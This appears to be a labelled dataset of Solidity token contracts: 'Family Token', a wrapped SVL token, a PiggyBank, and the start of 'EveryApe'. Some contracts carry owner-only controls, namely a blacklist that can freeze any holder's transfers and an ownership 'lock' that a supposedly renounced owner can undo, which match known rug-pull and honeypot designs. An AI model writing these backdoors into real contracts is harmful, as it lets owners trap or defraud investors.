using SafeMath for uint256;
string private constant _name = "Family Token_T.me/FFFamilyToken";
string private constant _symbol = "Family";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 8;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (10 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_taxFee,
_teamFee
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-10
*/
// File: @openzeppelin/[email protected]/access/Ownable.sol
// SPDX-License-Identifier: MIT
// File: @openzeppelin/[email protected]/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/[email protected]/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/[email protected]/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/[email protected]/security/Pausable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// File: @openzeppelin/[email protected]/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin/[email protected]/token/ERC20/extensions/ERC20Burnable.sol
pragma solidity ^0.8.0;
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), currentAllowance - amount);
_burn(account, amount);
}
}
contract SwivelToken is ERC20, ERC20Burnable, Pausable, Ownable {
constructor() ERC20("Wrapped SVL Token", "WSVL") {
_mint(msg.sender, 1000000000 * 10 ** decimals());
}
function pause() public onlyOwner {
_pause();
}
function unpause() public onlyOwner {
_unpause();
}
function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount)
internal
whenNotPaused
override
{
super._beforeTokenTransfer(from, to, amount);
}
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pragma solidity ^0.4.11;
contract PiggyBank
{
address creator;
uint deposits;
uint unlockTime;
/* Constructor */
function PiggyBank() public
{
creator = msg.sender;
deposits = 0;
unlockTime = now + 5 minutes;
}
function() payable
{
deposit();
}
function deposit() payable returns (uint)
{
if( msg.value > 0 )
deposits = deposits + 1;
return getNumberOfDeposits();
}
function getNumberOfDeposits() constant returns (uint)
{
return deposits;
}
function getUnlockTime() constant returns (uint)
{
return unlockTime;
}
function kill()
{
if( msg.sender == creator && now >= unlockTime )
selfdestruct(creator);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-10-01
*/
/**
*Submitted for verification at BscScan.com on 2021-09-04
*/
/**
*Submitted for verification at Etherscan.io on 2021-07-26
*/
/**
$$$$$$$$\ $$$$$$\
$$ _____| $$ __$$\
$$ | $$\ $$\ $$$$$$\ $$$$$$\ $$\ $$\ $$ / $$ | $$$$$$\ $$$$$$\
$$$$$\\$$\ $$ |$$ __$$\ $$ __$$\ $$ | $$ |$$$$$$$$ |$$ __$$\ $$ __$$\
$$ __|\$$\$$ / $$$$$$$$ |$$ | \__|$$ | $$ |$$ __$$ |$$ / $$ |$$$$$$$$ |
$$ | \$$$ / $$ ____|$$ | $$ | $$ |$$ | $$ |$$ | $$ |$$ ____|
$$$$$$$$\\$ / \$$$$$$$\ $$ | \$$$$$$$ |$$ | $$ |$$$$$$$ |\$$$$$$$\
\________|\_/ \_______|\__| \____$$ |\__| \__|$$ ____/ \_______|
$$\ $$ | $$ |
\$$$$$$ | $$ |
\______/ \__|
EveryApe is an innovator in BurnBack Tokenomics, increasing the stakers value through a Milestone
Burn and Buyback combination plan, Ultra-reflective Tokenomics, and Minimizing whale/bot manipulation.
A product of WatchTower Finance, a community built on honest, un-ruggable trading.
Main features are
1) 500,000,000,000,000 (500 Trillion) max supply (we will hold some for milestone burns)
2) 300,000,000,000 (300 bil) txn buy/sell limiter
3) 14% buyback and marketing tax is collected and 7% of it is sent for marketing fund and other 7% is used to buyback the tokens.
4) Bot Whale protection
5) Sniper liquidity event protection
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getUnlockTime() public view returns (uint256) {
return _lockTime;
}
function getTime() public view returns (uint256) {
return block.timestamp;
}
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(block.timestamp > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
// pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
